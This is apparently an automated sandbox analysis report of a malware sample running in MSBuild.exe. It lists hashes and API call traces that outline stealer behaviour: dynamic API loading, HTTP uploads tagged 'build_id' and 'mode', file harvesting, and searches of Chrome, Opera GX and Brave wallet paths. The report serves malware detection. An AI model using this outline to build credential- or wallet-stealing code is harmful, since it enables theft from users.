Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$_malloc_rand
String ID:
API String ID: 119520971-0
Opcode ID: 564ee9e9edd0872c34500dc8246fab25ef389cf36de2aa0a64a3ce9a758880f3
Instruction ID: 2ef4564315551c62cb708b11fdb727b4428a52aefc5c908ef7e728bda24df605
Opcode Fuzzy Hash: 564ee9e9edd0872c34500dc8246fab25ef389cf36de2aa0a64a3ce9a758880f3
Instruction Fuzzy Hash: 7421C272908649EFDB00CF94CC44BEFB7BDFF85255F114629E92697640EB70AA05CBA0

Function 6D017680 Relevance: 5.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,4E8A916F), ref: 6D0176AD
LeaveCriticalSection.KERNEL32(?,?,?,4E8A916F), ref: 6D0176FF
EnterCriticalSection.KERNEL32(4E8A916F,?,?,?,4E8A916F), ref: 6D01770D
LeaveCriticalSection.KERNEL32(4E8A916F,?,00000000,?,?,?,?,4E8A916F), ref: 6D01772A

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

Part of subcall function 6D016D40: _rand.LIBCMT ref: 6D016DEA

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterLeave$_malloc_rand
String ID:
API String ID: 119520971-0
Opcode ID: 27b90ba03753131606da40ef258364869acae7432bd2d30689e8b428d45edd7d
Instruction ID: 8d550d48160a0252494552dccd5ec53f9a52d26dda1686c320010d596cf9f2e0
Opcode Fuzzy Hash: 27b90ba03753131606da40ef258364869acae7432bd2d30689e8b428d45edd7d
Instruction Fuzzy Hash: 5B21D472908649EFDB00CF94CC40FAFB7BDFF85255F114629E92697640EB70AA05CBA0

Function 6D019580 Relevance: 5.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?), ref: 6D0195A9
LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 6D0195CA
EnterCriticalSection.KERNEL32(00000000,?,?), ref: 6D0195DA
LeaveCriticalSection.KERNEL32(00000000,?,?,?), ref: 6D0195FB

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 669a3202d5e4e5dc6d0ae2c224168df533380c29afc0a9decbf9f6bee936cfc0
Instruction ID: 9793253dcae3c8a5e3ac2af54c5c795e73483527ae5333091cf20a0aa02f17f2
Opcode Fuzzy Hash: 669a3202d5e4e5dc6d0ae2c224168df533380c29afc0a9decbf9f6bee936cfc0
Instruction Fuzzy Hash: 34117C32908109EFDB00CFD9E880EEEF7BDFF95214B11419AE525A7610D730EA51CBA0

Analysis Process: MSBuild.exePID: 6712, Parent PID: 6580COMMON

Execution Graph

Execution Coverage:	7.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 00417645 Relevance: 207.0, APIs: 114, Strings: 4, Instructions: 490
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00416AAC), ref: 00417659
GetProcAddress.KERNEL32 ref: 00417670
GetProcAddress.KERNEL32 ref: 00417687
GetProcAddress.KERNEL32 ref: 0041769E
GetProcAddress.KERNEL32 ref: 004176B5
GetProcAddress.KERNEL32 ref: 004176CC
GetProcAddress.KERNEL32 ref: 004176E3
GetProcAddress.KERNEL32 ref: 004176FA
GetProcAddress.KERNEL32 ref: 00417711
GetProcAddress.KERNEL32 ref: 00417728
GetProcAddress.KERNEL32 ref: 0041773F
GetProcAddress.KERNEL32 ref: 00417756
GetProcAddress.KERNEL32 ref: 0041776D
GetProcAddress.KERNEL32 ref: 00417784
GetProcAddress.KERNEL32 ref: 0041779B
GetProcAddress.KERNEL32 ref: 004177B2
GetProcAddress.KERNEL32 ref: 004177C9
GetProcAddress.KERNEL32 ref: 004177E0
GetProcAddress.KERNEL32 ref: 004177F7
GetProcAddress.KERNEL32 ref: 0041780E
GetProcAddress.KERNEL32 ref: 00417825
GetProcAddress.KERNEL32 ref: 0041783C
GetProcAddress.KERNEL32 ref: 00417853
GetProcAddress.KERNEL32 ref: 0041786A
GetProcAddress.KERNEL32 ref: 00417881
GetProcAddress.KERNEL32 ref: 00417898
GetProcAddress.KERNEL32 ref: 004178AF
GetProcAddress.KERNEL32 ref: 004178C6
GetProcAddress.KERNEL32 ref: 004178DD
GetProcAddress.KERNEL32 ref: 004178F4
GetProcAddress.KERNEL32 ref: 0041790B
GetProcAddress.KERNEL32 ref: 00417922
GetProcAddress.KERNEL32 ref: 00417939
GetProcAddress.KERNEL32 ref: 00417950
GetProcAddress.KERNEL32 ref: 00417967
GetProcAddress.KERNEL32 ref: 0041797E
GetProcAddress.KERNEL32 ref: 00417995
GetProcAddress.KERNEL32 ref: 004179AC
GetProcAddress.KERNEL32 ref: 004179C3
GetProcAddress.KERNEL32 ref: 004179DA
GetProcAddress.KERNEL32 ref: 004179F1
GetProcAddress.KERNEL32 ref: 00417A08
GetProcAddress.KERNEL32 ref: 00417A1F
LoadLibraryA.KERNEL32(00416AAC,?,00000040,00000064,0041366A,00412D12,?,0000002C,00000064,004135E9,00413626,?,00000024,00000064,Function_000135AC,00413295), ref: 00417A30
LoadLibraryA.KERNEL32 ref: 00417A41
LoadLibraryA.KERNEL32 ref: 00417A52
LoadLibraryA.KERNEL32 ref: 00417A63
LoadLibraryA.KERNEL32 ref: 00417A74
LoadLibraryA.KERNEL32 ref: 00417A85
LoadLibraryA.KERNEL32 ref: 00417A96
LoadLibraryA.KERNEL32 ref: 00417AA7
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00417AB7
GetProcAddress.KERNEL32(75290000), ref: 00417AD2
GetProcAddress.KERNEL32 ref: 00417AE9
GetProcAddress.KERNEL32 ref: 00417B00
GetProcAddress.KERNEL32 ref: 00417B17
GetProcAddress.KERNEL32 ref: 00417B2E
GetProcAddress.KERNEL32(734C0000), ref: 00417B4D
GetProcAddress.KERNEL32 ref: 00417B64
GetProcAddress.KERNEL32 ref: 00417B7B
GetProcAddress.KERNEL32 ref: 00417B92
GetProcAddress.KERNEL32 ref: 00417BA9
GetProcAddress.KERNEL32 ref: 00417BC0
GetProcAddress.KERNEL32 ref: 00417BD7
GetProcAddress.KERNEL32 ref: 00417BEE
GetProcAddress.KERNEL32(752C0000), ref: 00417C09
GetProcAddress.KERNEL32 ref: 00417C20
GetProcAddress.KERNEL32 ref: 00417C37
GetProcAddress.KERNEL32 ref: 00417C4E
GetProcAddress.KERNEL32 ref: 00417C65
GetProcAddress.KERNEL32(74EC0000), ref: 00417C84
GetProcAddress.KERNEL32 ref: 00417C9B
GetProcAddress.KERNEL32 ref: 00417CB2
GetProcAddress.KERNEL32 ref: 00417CC9
GetProcAddress.KERNEL32 ref: 00417CE0
GetProcAddress.KERNEL32 ref: 00417CF7
GetProcAddress.KERNEL32(75BD0000), ref: 00417D16
GetProcAddress.KERNEL32 ref: 00417D2D
GetProcAddress.KERNEL32 ref: 00417D44
GetProcAddress.KERNEL32 ref: 00417D5B
GetProcAddress.KERNEL32 ref: 00417D72
GetProcAddress.KERNEL32 ref: 00417D89
GetProcAddress.KERNEL32 ref: 00417DA0
GetProcAddress.KERNEL32 ref: 00417DB7
GetProcAddress.KERNEL32 ref: 00417DCE
GetProcAddress.KERNEL32(75A70000), ref: 00417DE9
GetProcAddress.KERNEL32 ref: 00417E00
GetProcAddress.KERNEL32 ref: 00417E17
GetProcAddress.KERNEL32 ref: 00417E2E
GetProcAddress.KERNEL32 ref: 00417E45
GetProcAddress.KERNEL32(75450000), ref: 00417E60
GetProcAddress.KERNEL32 ref: 00417E77
GetProcAddress.KERNEL32(75DA0000), ref: 00417E92
GetProcAddress.KERNEL32 ref: 00417EA9
GetProcAddress.KERNEL32(6F090000), ref: 00417EC8
GetProcAddress.KERNEL32 ref: 00417EDF
GetProcAddress.KERNEL32 ref: 00417EF6
GetProcAddress.KERNEL32 ref: 00417F0D
GetProcAddress.KERNEL32 ref: 00417F24
GetProcAddress.KERNEL32 ref: 00417F3B
GetProcAddress.KERNEL32 ref: 00417F52
GetProcAddress.KERNEL32 ref: 00417F69
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00417F7F
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 00417F95
GetProcAddress.KERNEL32(75AF0000), ref: 00417FB0
GetProcAddress.KERNEL32 ref: 00417FC7
GetProcAddress.KERNEL32 ref: 00417FDE
GetProcAddress.KERNEL32 ref: 00417FF5
GetProcAddress.KERNEL32(75D90000), ref: 00418010
GetProcAddress.KERNEL32(6E3F0000), ref: 0041802B
GetProcAddress.KERNEL32 ref: 00418042
GetProcAddress.KERNEL32 ref: 00418059
GetProcAddress.KERNEL32 ref: 00418070
GetProcAddress.KERNEL32(6CE40000,SymMatchString), ref: 0041808A

Strings

SymMatchString, xrefs: 00418084
dbghelp.dll, xrefs: 00417AAD
InternetSetOptionA, xrefs: 00417F85
HttpQueryInfoA, xrefs: 00417F6F

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$SymMatchString$dbghelp.dll
API String ID: 2238633743-951535364
Opcode ID: e99d2a3dd66da67205f3114fc9aaaece5a66dc5c732b58a81b65daf475131747
Instruction ID: 5d64eb95f993e10cfffcd180ca7930ca50f89af3c14b7aa20224d1cce3759a27
Opcode Fuzzy Hash: e99d2a3dd66da67205f3114fc9aaaece5a66dc5c732b58a81b65daf475131747
Instruction Fuzzy Hash: 0042D97E811620EFEB929FA0FD48A653BB3F70AB01B147439FA0586231D7364865EF54

Function 0040514C Relevance: 54.9, APIs: 21, Strings: 10, Instructions: 640
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00405151

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004051FC
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040539B
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 004053D2
lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,?,",00000000,?,mode,00000000,?,00000000,?,00425AC8,00000000), ref: 004057CC
lstrlenA.KERNEL32(00000000), ref: 004057DD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004057E7
HeapAlloc.KERNEL32(00000000), ref: 004057EE
lstrlenA.KERNEL32(00000000), ref: 004057FF
memcpy.MSVCRT ref: 00405810
lstrlenA.KERNEL32(00000000), ref: 00405821
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 0040583A
memcpy.MSVCRT ref: 00405843
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405856
HttpSendRequestA.WININET(?,00000000,00000000), ref: 0040586A
InternetReadFile.WININET(?,?,000000C7,?), ref: 004058BE
InternetCloseHandle.WININET(?), ref: 004058C9
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004053F7

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

InternetCloseHandle.WININET(?), ref: 004058D2
InternetCloseHandle.WININET(?), ref: 004058DB
StrCmpCA.SHLWAPI(?), ref: 00405213

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Strings

mode, xrefs: 00405746
------, xrefs: 00405295
(, xrefs: 0040591D
", xrefs: 00405770
------, xrefs: 004053FD
", xrefs: 0040561F
------, xrefs: 0040569E
", xrefs: 004054D0
------, xrefs: 0040554D
build_id, xrefs: 004055F5

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$H_prolog$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$($------$------$------$------$build_id$mode
API String ID: 2237346945-1447386369
Opcode ID: 0ad7276aa294dbd547a4d96f96a942a7d0334b21d4d2b34b5b54ff39ca66d9ac
Instruction ID: d7c5970f0897ada52bebf96924e878e3ecce30d18c8aa08c600bdb313c44272c
Opcode Fuzzy Hash: 0ad7276aa294dbd547a4d96f96a942a7d0334b21d4d2b34b5b54ff39ca66d9ac
Instruction Fuzzy Hash: 51424EB190414DEADB11EBE1C956BEEBBB8AF18308F50017EE505B3582DA781B4CCB65

Function 004153F6 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 316
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004153FB
wsprintfA.USER32 ref: 00415421
FindFirstFileA.KERNEL32(?,?), ref: 00415438
memset.MSVCRT ref: 0041544F
memset.MSVCRT ref: 0041545D
StrCmpCA.SHLWAPI(?,004267F4), ref: 0041547B
StrCmpCA.SHLWAPI(?,004267F8), ref: 00415495
wsprintfA.USER32 ref: 004154B9
StrCmpCA.SHLWAPI(?,00426516), ref: 004154CA
wsprintfA.USER32 ref: 004154F0
wsprintfA.USER32 ref: 00415504
memset.MSVCRT ref: 00415516
lstrcat.KERNEL32(?,?), ref: 00415528
strtok_s.MSVCRT ref: 00415561
memset.MSVCRT ref: 00415576
lstrcat.KERNEL32(?,?), ref: 0041558B
PathMatchSpecA.SHLWAPI(?,00000000), ref: 004155AE

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

DeleteFileA.KERNEL32(00000000,00000000,?,00000000,?,00426824,?,?,?,00426517), ref: 0041567B
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00415693

Part of subcall function 00410F12: CreateFileA.KERNEL32(004156A7,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,?,004156A7,00000000), ref: 00410F2D

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004156B0
DeleteFileA.KERNEL32(00000000,00000000,?,000003E8,00000000), ref: 004156C6
strtok_s.MSVCRT ref: 004156E1
FindNextFileA.KERNELBASE(000000FF,?), ref: 00415804
FindClose.KERNEL32(000000FF), ref: 00415815

Strings

%s\%s\%s, xrefs: 004154EA
%s\%s, xrefs: 004154FE
%s\*.*, xrefs: 00415416
%s\%s, xrefs: 004154B3

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$H_prologlstrcatlstrcpymemsetwsprintf$Find$Deletestrtok_s$CloseCopyCreateFirstMatchNextPathSpecSystemTimeUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 2774496700-332874205
Opcode ID: d20dc5bdacd583ed27b03aefafc9fd92c8039eee4d847269b8182252768ee144
Instruction ID: ca9661dadf250ee48b6985f068276dcce33099c5ed12ff06a98e026076f1a7f9
Opcode Fuzzy Hash: d20dc5bdacd583ed27b03aefafc9fd92c8039eee4d847269b8182252768ee144
Instruction Fuzzy Hash: F2C160B1D0015DEEDF20EBE4DC45EDEBBBCAB08304F50406AF519A3191DB389A49CB65

Function 0040C679 Relevance: 48.2, APIs: 21, Strings: 6, Instructions: 924
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040C67E

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00425B7B,00425B7A,00000000,?,00425CC4,?,?,00425B77,?,?,00000000), ref: 0040C71F
StrCmpCA.SHLWAPI(?,00425CC8,?,?,00000000), ref: 0040C786
StrCmpCA.SHLWAPI(?,00425CCC,?,?,00000000), ref: 0040C7A0
StrCmpCA.SHLWAPI(00000000,Opera GX,00000000,?,?,?,00425CD0,?,?,00425B7E,?,?,00000000), ref: 0040C851

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

Opera GX, xrefs: 0040C840
Preferences, xrefs: 0040CA62
\BraveWallet\Preferences, xrefs: 0040CB94
H, xrefs: 0040D34C
Brave, xrefs: 0040CA43
Google Chrome, xrefs: 0040D027

Memory Dump Source

Source File: 00000001.00000002.2042878342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2042878342.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2042878342.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$lstrcat$FileFindFirstlstrlen
String ID: Brave$Google Chrome$H$Opera GX$Preferences$\BraveWallet\Preferences
API String ID: 3869166975-1816240570
Opcode ID: 9804cbcb6549636e7edce159aa3ee5a2d29b2506f6b57e35bae4b86771403b22
Instruction ID: 88dffd7cdbcf1f4ae3e67456db78224bf6b474b6b2878ab6084e2e33bf0d65cc
Opcode Fuzzy Hash: 9804cbcb6549636e7edce159aa3ee5a2d29b2506f6b57e35bae4b86771403b22
Instruction Fuzzy Hash: 67826070900288EADF25EBA5C955BDDBBB4AF19304F5040BEE449B32C2DB78174CCB66

Function 004162AF Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 227
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004162B4
wsprintfA.USER32 ref: 004162D4
FindFirstFileA.KERNEL32(?,?), ref: 004162EB
StrCmpCA.SHLWAPI(?,004268B0), ref: 00416308
StrCmpCA.SHLWAPI(?,004268B4), ref: 00416322
wsprintfA.USER32 ref: 00416346
StrCmpCA.SHLWAPI(?,00426525), ref: 00416357
wsprintfA.USER32 ref: 00416374

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

wsprintfA.USER32 ref: 00416388
PathMatchSpecA.SHLWAPI(?,?), ref: 0041639B
lstrcat.KERNEL32(?,?), ref: 004163C7
lstrcat.KERNEL32(?,004268CC), ref: 004163D9
lstrcat.KERNEL32(?,?), ref: 004163E9
lstrcat.KERNEL32(?,004268D0), ref: 004163FB
lstrcat.KERNEL32(?,?), ref: 0041640F
CopyFileA.KERNEL32(?,00000000,00000001), ref: 004164DD
